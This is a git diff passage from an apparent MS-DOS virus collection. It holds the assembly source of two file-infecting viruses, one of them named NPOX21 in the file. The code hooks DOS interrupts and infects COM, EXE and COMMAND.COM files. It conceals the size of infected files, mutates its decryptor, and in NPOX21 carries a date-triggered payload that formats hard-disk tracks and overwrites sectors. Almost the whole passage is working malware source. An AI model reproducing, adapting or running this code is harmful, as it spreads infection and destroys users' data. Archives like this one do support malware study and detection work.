+Run_Prog: + Lea Si, [Bx].Start_Code + Mov Di, 0100h + Cmp Bx, Di + Jb Run_Exe + +Run_COM: + Push Di + Movsw + Movsw + Ret + +Run_EXE: + Mov Ax, Es + Add Ax, 0010h + Add Word ptr Cs:[Si+02], Ax + Add Word ptr Cs:[Si+04], Ax + Cli + Mov Sp, Word ptr Cs:[Si+06] + Mov Ss, Word ptr Cs:[Si+04] + Sti + Jmp Dword ptr Cs:[Si+00] + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Check_Present: + Inc Ax + Iret + +New_21: Cmp Ax, 0FFFFh ; Checking if resident ? + Je Check_Present + Cmp Ah, 4Bh ; Executing a program ? + Je Load_Program + Cmp Ah, 11h ; Doing a DIR ? + Je Find_First + Cmp Ah, 12h ; Doing a DIR ? + Je Find_Next + Cmp Ax, 3D00h ; Opening a file ? + Jne Run_21 + Call Open_File +Run_21: + Jmpfar 0 ; Goto vector 21h +Saved_21 Equ $-4 + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Find_First: +Find_Next: + Push Bp + Mov Bp, Sp + Cmp Word ptr [Bp+04], 1234h +Dos_Seg: + Pop Bp + Jb Run_21 + Call Do_21 + Call Save_Regs + Mov Ah, 2Fh + Call Do_21 + Cmp Byte ptr Es:[Bx], 0FFh + Je F20 + Sub Bx, +7 +F20: Mov Al, Byte ptr Es:[Bx].1Eh + And Al, 1Fh + Cmp Al, 1Fh + Jne F00 + Mov Dx, Word ptr Es:[Bx].26h + Mov Ax, Word ptr Es:[Bx].24h + Sub Ax, offset Virus_End + Sbb Dx, +00 + Or Dx, Dx + Jb F00 + Mov Word ptr Es:[Bx].26h, Dx + Mov Word ptr Es:[Bx].24h, Ax +F00: Call Restore_Regs + IRet + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Load_Program: + Cmp Al, 01h + Je Disinfect_DEBUG + Cmp Al, 0FFh + Je Infect_COMSPEC + Call Infect_File + Jmp Run_21 + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Infect_COMMAND: + Push Dx + Push Ds + Mov Dx, offset Command_File + Push Cs + Pop Ds + Mov Byte ptr Ds:Command_Flag, 0FFh + Call Infect_File + Pop Ds + Pop Dx + Iret + +Infect_COMSPEC: + Mov Ah, 51h + Call Do_21 + Mov Es, Bx + Mov Ds, Es:[002Ch] + Xor Si, Si + Push Cs + Pop Es +LP00: Mov Di, offset COMSPEC_name + Mov Cx, 0004h + Rep Cmpsw + Jcxz LP20 +LP10: Lodsb + Or Al, Al + Jne LP10 +; Cmp Al, Byte ptr [Si] + Cmp Byte ptr [Si], 00 + Jne LP00 + Jmp Infect_COMMAND +LP20: Mov Dx, Si + Mov Byte ptr Cs:Command_Flag, 0FFh + Call Infect_File + IRet + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Disinfect_DEBUG: + Push Es + Push Bx + Call Do_21 + Pop Bx + Pop Es + Call Save_Regs + Jb LP30 + Xor Cx, Cx + Lds Si, Dword ptr Es:[Bx].12h + Push Ds + Push Si + Mov Di, 0100h + Cmp Si, Di + Jl DI00 + Ja LP31 + Lodsb + Cmp Al, 0E9h + Jne LP31 + Lodsw + Push Ax + Lodsb + Cmp Al, 'O' + Pop Si + Jne LP31 + Add Si, 103h + Inc Cx + Inc Cx + Pop Ax + Push Si + Push Ds + Pop Es + Jmp short DI10 +DI00: Lea Di, Dword ptr [Bx].0Eh + Cmp Word ptr Es:[Di].00h, offset Virus_End+Stack_Size-2 + Jne LP31 ; Note 4B01/decrements stack by 2 +DI10: Lodsb + Cmp Al, 0BBh + Jne LP31 + Lodsw + Push Ax + Lodsw + Cmp Ax, Word ptr Cs:[V04] + Pop Si + Jne LP31 + Add Si, offset Start_Code-(offset V05-V05_Back) + Jcxz DI15 + Rep Movsw + Jmp short DI25 + +DI15: Mov Ah, 51h + Call Do_21 + Add Bx, 0010h + Mov Ax, [Si+06h] + Dec Ax + Dec Ax + Stosw + Mov Ax, [Si+04h] + Add Ax, Bx + Stosw + Movsw + Lodsw + Add Ax, Bx + Stosw +DI25: Pop Di + Pop Es + Xchg Cx, Ax + Mov Cx, offset Virus_End + Rep Stosb + Jmp short LP32 + +LP31: Pop Ax + Pop Ax +LP32: Xor Ax, Ax + Clc +LP30: Call Restore_Regs + Retfar 0002h + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Open_File Proc Near + Call Save_Regs + Mov Si, Dx +OF00: Lodsb + Or Al, Al + Je OF50 + Cmp Al, '.' + Jne OF00 + Mov Di, offset File_Exts-3 + Push Cs + Pop Es + Mov Cx, 0003h +OF10: Push Cx + Push Si + Mov Cl, 03h + Add Di, Cx + Push Di +OF12: Lodsb + And Al, 5Fh + Cmp Al, Byte ptr Es:[Di] + Jne OF15 + Inc Di + Loop OF12 + Call Infect_File + Add Sp, +6 + Jmp short OF50 +OF15: Pop Di + Pop Si + Pop Cx + Loop OF10 +OF50: Call Restore_Regs + Ret +Open_File Endp + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Infect_File Proc Near + Call Save_Regs + Mov Ax, 4300h + Call Do_21 + Jb IF00 + Push Cx + And Cl, 01h + Cmp Cl, 01h + Pop Cx + Jne H00 + And Cl, 0FEh + Mov Ax, 4301h + Call Do_21 +H00: Mov Ax, 3D02h + Call Do_21 + Jnb IF02 +IF00: Jmp IFE4 +IF02: Xchg Bx, Ax + Push Cs + Push Cs + Pop Ds + Pop Es + Mov Ax, 5700h + Call Do_21 + Push Dx + Push Cx + And Cl, 1Fh + Cmp Cl, 1Fh + Je IF05 + Mov Dx, offset Exe_Header + Mov Cx, offset Exe_Header_End-offset Exe_Header + Mov Ah, 3Fh + Call Do_21 + Jnb IF10 +IF05: Stc + Jmp IFE2 +IF10: Cmp Ax, Cx + Jne IF05 + Xor Dx, Dx + Mov Cx, Dx + Mov Ax, 4202h + Call Do_21 + Or Dx, Dx + Jne IF12 + Cmp Ax, offset Virus_End+Stack_Size + Jb IF05 +IF12: Cmp Word ptr Ds:Sign, 'ZM' + Je EXE_type + +COM_type: + Cmp Byte ptr Ds:Sign+3, 'O' + Je IF05 + Cmp Byte ptr Ds:Command_Flag, 00h + Je CT00 + Sub Ax, offset Virus_End + Xchg Dx, Ax + Xor Cx, Cx + Mov Ax, 4200h + Call Do_21 +CT00: Mov Si, offset Sign + Mov Di, offset Start_Code + Movsw + Movsw + Sub Ax, 0003h + Mov Byte ptr Ds:Sign, 0E9h + Mov Word ptr Ds:Sign+1, Ax + Mov Byte ptr Ds:Sign+3, 'O' + Add Ax, (offset V05-V05_Back)+0103H + Jmp short IF30 + +EXE_type: + Cmp Word ptr Ds:Stack_Sp, offset Virus_End+Stack_Size + Je IF05 + Cmp Word ptr Ds:Overlay_Num, 0000h + Jne IF05 + Push Dx + Push Ax + Mov Cl, 04h + Ror Dx, Cl + Shr Ax, Cl + Add Ax, Dx + Sub Ax, Word ptr Ds:Size_Header + Mov Si, offset Start_Ip + Mov Di, offset Start_Code + Movsw + Movsw + Mov Si, offset Stack_Ss + Movsw + Movsw + Mov Word ptr Ds:Start_Cs, Ax + Mov Word ptr Ds:Stack_Ss, Ax + Mov Word ptr Ds:Stack_Sp, offset Virus_End+Stack_Size + Pop Ax + Pop Dx + Push Ax + Add Ax, offset Virus_End+Stack_Size + Jnb IF29 + Inc Dx +IF29: Mov Cx, 512 + Div Cx + Mov Word ptr Ds:File_Size, Ax + Mov Word ptr Ds:Remainder, Dx + Pop Ax + And Ax, 000Fh + Mov Word ptr Ds:Start_Ip, Ax + Add Ax, (offset V05-V05_Back) + +IF30: Mov Word ptr Ds:V00+1, Ax + Push Ds + Xor Si, Si + Mov Ds, Si + Mov Ax, Word ptr Ds:[046Ch] + Pop Ds + Push Bx + Mov Byte ptr Ds:V01+1, Ah + And Ax, 000Fh + Xchg Bx, Ax + Shl Bx, 01h + Mov Ax, Word ptr [Bx].Random_AL + Mov Word ptr Ds:V03, Ax + Mov Di, offset Real_End + Mov Cx, offset Virus_End + Push Cx + Cld + Rep Movsb + Mov Bx, (offset V05-V05_Back) + Push Word ptr [Bx] + Mov Byte ptr [Bx+V05_Back], 0C3h + Push Bx + Xor Byte ptr Ds:([Bx+V02+1])-(offset V05-V05_Back), 28h + Add Bx, offset Real_End ; Toggle ADD [BX],AL/SUB [BX],AL + Call V04 + Pop Bx + Pop Word ptr [Bx] + Mov Dx, offset Real_End + Pop Cx + Pop Bx + Mov Ah, 40h + Call Do_21 +IFE1: Jb IFE2 + Xor Dx, Dx + Mov Cx, Dx + Mov Ax, 4200h + Call Do_21 + Jb IFE2 + Mov Dx, offset Exe_Header + Mov Cx, offset Exe_Header_End-offset Exe_Header + Mov Ah, 40h + Call Do_21 +IFE2: Pop Cx + Pop Dx + Jb IFE3 + Cmp Byte ptr Ds:Command_Flag, 0FFh + Je IFE3 + Or Cl, 1Fh +IFE3: Mov Ax, 5701h + Call Do_21 + Mov Ah, 3Eh + Call Do_21 +IFE4: Mov Byte ptr Cs:Command_Flag, 00h + Call Restore_Regs + Ret +Infect_File Endp + +Do_21 Proc Near + Pushf + Call Dword ptr Cs:Saved_21 + Ret +Do_21 Endp + +Save_Regs: + Push Bp + Mov Bp, Sp + Push Bx + Push Cx + Push Dx + Push Si + Push Di + Push Ds + Push Es + Pushf + Xchg [Bp+02], Ax + Push Ax + Mov Ax, [Bp+02] + Ret + +Restore_Regs: + Pop Ax + Xchg [Bp+02], Ax + Popf + Pop Es + Pop Ds + Pop Di + Pop Si + Pop Dx + Pop Cx + Pop Bx + Pop Bp + Ret + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +Random_AL: + Inc Al ; 0 + Dec Al ; 1 + Inc Ax ; 2 + Inc Ax + Dec Ax ; 3 + Dec Ax + Add Al, Cl ; 4 + Sub Al, Cl ; 5 + Xor Al, Cl ; 6 + Xor Al, Ch ; 7 + Not Al ; 8 + Neg Al ; 9 + Ror Al, 01h ; A + Rol Al, 01h ; B + Ror Al, Cl ; C + Rol Al, Cl ; D + Nop ; E + Nop + Add Al, Ch ; F + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +COMSPEC_name db 'COMSPEC=' +COMMAND_file db '\COMMAND.COM',0 +FILE_Exts db 'COMEXEOVL' +NUM_Exts equ 3 + +Start_Code dw 00000h + dw 0FFF0h +Start_Stack dw ? + dw 0FFFFh + + Org 400h +Virus_End: + +Saved_24 dw ?,? + +Command_Flag db 0 + +Temp dw ? + +Exe_Header: +Sign dw ? +Remainder dw ? +File_Size dw ? +Num_Real dw ? +Size_Header dw ? +Min_Above dw ? +Max_Above dw ? +Stack_Ss dw ? +Stack_Sp dw ? +CheckSum dw ? +Start_Ip dw ? +Start_Cs dw ? +Display_Real dw ? +Overlay_Num dw ? +Exe_Header_End: + +Real_End: + +Code Ends + End Virus_Begin diff --git a/MSDOS/Virus.MSDOS.Unknown.npox-v21.asm b/MSDOS/Virus.MSDOS.Unknown.npox-v21.asm new file mode 100644 index 00000000..7d8df39b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.npox-v21.asm @@ -0,0 +1,941 @@ + +PAGE 59,132 + +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ +;ÛÛ ÛÛ +;ÛÛ NPOX21 ÛÛ +;ÛÛ ÛÛ +;ÛÛ Created: 28-Sep-92 ÛÛ +;ÛÛ Passes: 5 Analysis Options on: none ÛÛ +;ÛÛ ÛÛ +;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + +data_1e equ 16h +data_2e equ 3 ;* +data_32e equ 103h ;* +data_33e equ 1 ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 100h + +npox21 proc far + +start: + jmp short $+3 ; delay for I/O + nop + call sub_1 + +npox21 endp + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_1 proc near + pop bp + sub bp,106h + push ax + push bx + push cx + push dx + push si + push di + push bp + push es + push ds + mov ah,2Ah ; '*' + int 21h ; DOS Services ah=function 2Ah + ; get date, cx=year, dh=month + ; dl=day, al=day-of-week 0=SUN + cmp dl,0Dh + je loc_2 ; Jump if equal + jmp short loc_5 + db 90h +loc_2: + mov ch,0 + +locloop_3: + mov ah,5 + mov dh,0 + mov dl,80h + int 13h ; Disk dl=drive 0 ah=func 05h + ; format track=ch or cylindr=cx + ; al=interleave, dh=head + inc ch + jc loc_4 ; Jump if carry Set + cmp ch,10h + loopnz locloop_3 ; Loop if zf=0, cx>0 + +loc_4: + mov al,2 + mov cx,20h + mov dx,0 + int 26h ; Absolute disk write, drive al + ; if disk under 32MB, dx=start + ; cx=#sectors, ds:bx=buffer + ; else cx=-1, ds:dx=parm block +;* jmp far ptr loc_66 ;* + db 0EAh,0F0h,0FFh,0FFh,0FFh +loc_5: + mov ax,0ABDCh + int 21h ; ??INT Non-standard interrupt + cmp bx,0ABDCh + je loc_6 ; Jump if equal + push cs + pop ds + mov cx,es + mov ax,3521h + int 21h ; DOS Services ah=function 35h + ; get intrpt vector al in es:bx + mov word ptr cs:data_10+2[bp],es + mov cs:data_10[bp],bx + dec cx + mov es,cx + mov bx,es:data_2e + mov dx,696h + mov cl,4 + shr dx,cl ; Shift w/zeros fill + add dx,4 + mov cx,es + sub bx,dx + inc cx + mov es,cx + mov ah,4Ah ; 'J' + int 21h ; DOS Services ah=function 4Ah + ; change memory allocation + ; bx=bytes/16, es=mem segment + jc loc_6 ; Jump if carry Set + mov ah,48h ; 'H' + dec dx + mov bx,dx + int 21h ; DOS Services ah=function 48h + ; allocate memory, bx=bytes/16 + jc loc_6 ; Jump if carry Set + dec ax + mov es,ax + mov cx,8 + mov es:data_33e,cx + sub ax,0Fh + mov di,data_32e + mov es,ax + mov si,bp + add si,103h + mov cx,696h + cld ; Clear direction + repne movsb ; Rep zf=0+cx >0 Mov [si] to es:[di] + mov ax,2521h +;* mov dx,offset loc_65 ;* + db 0BAh, 8Eh, 02h + push es + pop ds + int 21h ; DOS Services ah=function 25h + ; set intrpt vector al to ds:dx +loc_6: + push cs + pop ds + cmp cs:data_21[bp],5A4Dh + je loc_7 ; Jump if equal + mov bx,offset data_21 + add bx,bp + mov ax,[bx] + mov word ptr ds:[100h],ax + inc bx + inc bx + mov al,[bx] + mov byte ptr ds:[102h],al + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,offset start + push ax + retn + db 'Death to Separatist' + db 0 +loc_7: + mov bx,word ptr cs:data_12[bp] + mov dx,cs + sub dx,bx + mov ax,dx + add ax,cs:data_14[bp] + add dx,cs:data_16[bp] + mov bx,cs:data_13[bp] + mov word ptr cs:[236h][bp],bx + mov word ptr cs:[238h][bp],ax + mov ax,cs:data_13[bp] + mov word ptr cs:[22Ch][bp],dx + mov word ptr cs:[232h][bp],ax + pop ds + pop es + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + mov ax,0 + cli ; Disable interrupts + mov ss,ax + mov sp,0 + sti ; Enable interrupts +;* jmp far ptr loc_1 ;* +sub_1 endp + + db 0EAh, 00h, 00h, 00h, 00h +loc_8: + call sub_2 + test al,al + jnz loc_ret_15 ; Jump if not zero + push ax + push bx + push es + mov ah,51h ; 'Q' + int 21h ; DOS Services ah=function 51h + ; get active PSP segment in bx + ;* undocumented function + mov es,bx + cmp bx,es:data_1e + jne loc_14 ; Jump if not equal + mov bx,dx + mov al,[bx] + push ax + mov ah,2Fh ; '/' + int 21h ; DOS Services ah=function 2Fh + ; get DTA ptr into es:bx + pop ax + inc al + jnz loc_13 ; Jump if not zero + add bx,7 +loc_13: + mov ax,es:[bx+17h] + and ax,1Fh + cmp al,1Eh + jne loc_14 ; Jump if not equal + and byte ptr es:[bx+17h],0E0h + sub word ptr es:[bx+1Dh],696h + sbb word ptr es:[bx+1Fh],0 +loc_14: + pop es + pop bx + pop ax + +loc_ret_15: + iret ; Interrupt return + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_2 proc near + pushf ; Push flags + call dword ptr cs:data_10 + retn +sub_2 endp + + db 0EBh,0B0h +data_10 dw 0, 0 ; Data table (indexed access) + db 80h,0FCh, 11h, 74h,0F5h, 80h + db 0FCh, 12h, 74h,0F0h, 3Dh, 00h + db 4Bh, 74h, 27h, 80h,0FCh, 3Dh + db 74h, 12h, 80h,0FCh, 3Eh, 74h + db 15h, 3Dh,0DCh,0ABh, 75h, 02h + db 8Bh,0D8h + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_3 proc near + jmp dword ptr cs:data_10 + db 0CBh + db 0E8h,0BFh, 00h, 2Eh,0FFh, 2Eh + db 8Ah, 02h + db 0E8h,0E1h, 00h, 2Eh,0FFh, 2Eh + db 8Ah, 02h + db 0E8h,0ECh, 01h, 52h, 9Ch, 0Eh + db 0E8h,0E1h,0FFh, 5Ah, 50h, 53h + db 51h, 52h, 1Eh,0E8h, 00h, 03h + db 0E8h, 82h, 02h, 72h, 1Eh,0B8h + db 00h, 43h,0E8h,0A0h,0FFh, 72h + db 16h,0F6h,0C1h, 01h, 74h, 0Bh + db 80h,0E1h,0FEh,0B8h, 01h, 43h + db 0E8h, 90h,0FFh + db 72h, 66h +loc_21: + mov ax,3D02h + call sub_2 +loc_22: + jc loc_24 ; Jump if carry Set + mov bx,ax + call sub_12 + jz loc_24 ; Jump if zero + push cs + pop ds + mov data_18,cx + mov data_19,dx + mov ah,3Fh ; '?' + mov cx,1Bh + mov dx,77Eh + call sub_2 + jc loc_23 ; Jump if carry Set + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + jc loc_23 ; Jump if carry Set + cmp data_21,5A4Dh + je loc_25 ; Jump if equal + mov cx,ax + sub cx,3 + mov data_20,cx + call sub_6 + jc loc_24 ; Jump if carry Set + mov ah,40h ; '@' + mov dx,760h + mov cx,3 + call sub_2 +loc_23: + mov cx,data_18 + mov dx,data_19 + mov ax,5701h + call sub_2 + mov ah,3Eh ; '>' + call sub_2 +loc_24: + pop ds + pop dx + pop cx + pop bx + pop ax + iret ; Interrupt return +loc_25: + call sub_15 + jc loc_24 ; Jump if carry Set + call sub_16 + call sub_13 + jmp short loc_23 +sub_3 endp + +data_12 db 0, 0 ; Data table (indexed access) +data_13 dw 0 ; Data table (indexed access) +data_14 dw 0 ; Data table (indexed access) +data_15 dw 0 +data_16 dw 0 ; Data table (indexed access) + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_4 proc near + call sub_8 + jnc loc_26 ; Jump if carry=0 + call sub_9 + jnc loc_26 ; Jump if carry=0 + retn +loc_26: + push ax + mov ax,3D02h + call sub_2 + jnc loc_27 ; Jump if carry=0 + pop ax + iret ; Interrupt return +loc_27: + push bx + push cx + push dx + push ds + mov bx,ax + call sub_12 + jnz loc_28 ; Jump if not zero + call sub_17 +loc_28: + pop ds + pop dx + pop cx + pop bx + pop ax + retn +sub_4 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_5 proc near + cmp bx,0 + je loc_ret_29 ; Jump if equal + cmp bx,5 + ja loc_30 ; Jump if above + +loc_ret_29: + retn +loc_30: + push ax + push bx + push cx + push dx + push di + push ds + push es + push bp + push bx + mov ax,1220h + int 2Fh ; DOS Internal services + ;* undocumented function + mov ax,1216h + mov bl,es:[di] + int 2Fh ; DOS Internal services + ;* undocumented function + pop bx + add di,11h + mov byte ptr es:[di-0Fh],2 + add di,17h + cmp word ptr es:[di],4F43h + jne loc_31 ; Jump if not equal + cmp byte ptr es:[di+2],4Dh ; 'M' + jne loc_34 ; Jump if not equal + jmp short loc_35 + db 90h +loc_31: + cmp word ptr es:[di],5845h + jne loc_34 ; Jump if not equal + cmp byte ptr es:[di+2],45h ; 'E' + jne loc_34 ; Jump if not equal + cmp word ptr es:[di-8],4353h + jne loc_32 ; Jump if not equal + cmp word ptr es:[di-6],4E41h + je loc_34 ; Jump if equal +loc_32: + cmp word ptr es:[di-8],2D46h + jne loc_33 ; Jump if not equal + cmp word ptr es:[di-6],5250h + je loc_34 ; Jump if equal +loc_33: + cmp word ptr es:[di-8],4C43h + jne loc_35 ; Jump if not equal + cmp word ptr es:[di-6],4145h + jne loc_35 ; Jump if not equal +loc_34: + jmp short loc_37 + db 90h +loc_35: + call sub_12 + jz loc_37 ; Jump if zero + push cs + pop ds + mov data_18,cx + mov data_19,dx + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + mov ah,3Fh ; '?' + mov cx,1Bh + mov dx,77Eh + call sub_2 + jc loc_36 ; Jump if carry Set + mov ax,4202h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + jc loc_36 ; Jump if carry Set + cmp data_21,5A4Dh + je loc_38 ; Jump if equal + mov cx,ax + sub cx,3 + mov data_20,cx + call sub_6 + jc loc_36 ; Jump if carry Set + mov ah,40h ; '@' + mov dx,760h + mov cx,3 + call sub_2 +loc_36: + mov cx,data_18 + mov dx,data_19 + mov ax,5701h + call sub_2 +loc_37: + pop bp + pop es + pop ds + pop di + pop dx + pop cx + pop bx + pop ax + retn +loc_38: + call sub_15 + jc loc_36 ; Jump if carry Set + call sub_16 + call sub_13 + jmp short loc_36 +sub_5 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_6 proc near + mov ah,40h ; '@' + mov dx,103h + mov cx,696h + call sub_2 + jc loc_39 ; Jump if carry Set + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_2 + jc loc_39 ; Jump if carry Set + clc ; Clear carry flag + retn +loc_39: + stc ; Set carry flag + retn +sub_6 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_7 proc near + push ax + push bx + push cx + push dx + push ds + mov ax,4300h + call sub_2 + test cl,1 + jz loc_40 ; Jump if zero + and cl,0FEh + mov ax,4301h + call sub_2 + jc loc_41 ; Jump if carry Set +loc_40: + mov ax,3D02h + call sub_2 + jc loc_41 ; Jump if carry Set + mov bx,ax + call sub_12 + jnz loc_41 ; Jump if not zero + call sub_17 +loc_41: + pop ds + pop dx + pop cx + pop bx + pop ax + retn +sub_7 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_8 proc near + push si + push cx + mov si,dx + mov cx,256h + +locloop_42: + cmp byte ptr [si],2Eh ; '.' + je loc_43 ; Jump if equal + inc si + loop locloop_42 ; Loop if cx > 0 + +loc_43: + cmp word ptr [si+1],4F43h + jne loc_44 ; Jump if not equal + cmp byte ptr [si+3],4Dh ; 'M' + je loc_46 ; Jump if equal +loc_44: + cmp word ptr [si+1],6F63h + jne loc_45 ; Jump if not equal + cmp byte ptr [si+3],6Dh ; 'm' + je loc_46 ; Jump if equal +loc_45: + pop cx + pop si + stc ; Set carry flag + retn +loc_46: + pop cx + pop si + clc ; Clear carry flag + retn +sub_8 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_9 proc near + push si + push cx + mov si,dx + mov cx,256h + +locloop_47: + cmp byte ptr [si],2Eh ; '.' + je loc_48 ; Jump if equal + inc si + loop locloop_47 ; Loop if cx > 0 + +loc_48: + cmp word ptr [si+1],5845h + jne loc_49 ; Jump if not equal + cmp byte ptr [si+3],45h ; 'E' + je loc_51 ; Jump if equal +loc_49: + cmp word ptr [si+1],7865h + jne loc_50 ; Jump if not equal + cmp byte ptr [si+3],65h ; 'e' + je loc_51 ; Jump if equal +loc_50: + pop cx + pop si + stc ; Set carry flag + retn +loc_51: + pop cx + pop si + clc ; Clear carry flag + retn +sub_9 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE +;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ + +sub_10 proc near + push bx + push cx + mov cl,0Ch + shl dx,cl ; Shift w/zeros fill + xchg ax,bx + mov cl,4 + shr bx,cl ; Shift w/zeros fill + and ax,0Fh + add dx,bx + pop cx + pop bx + retn +sub_10 endp + + +;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß +; SUBROUTINE 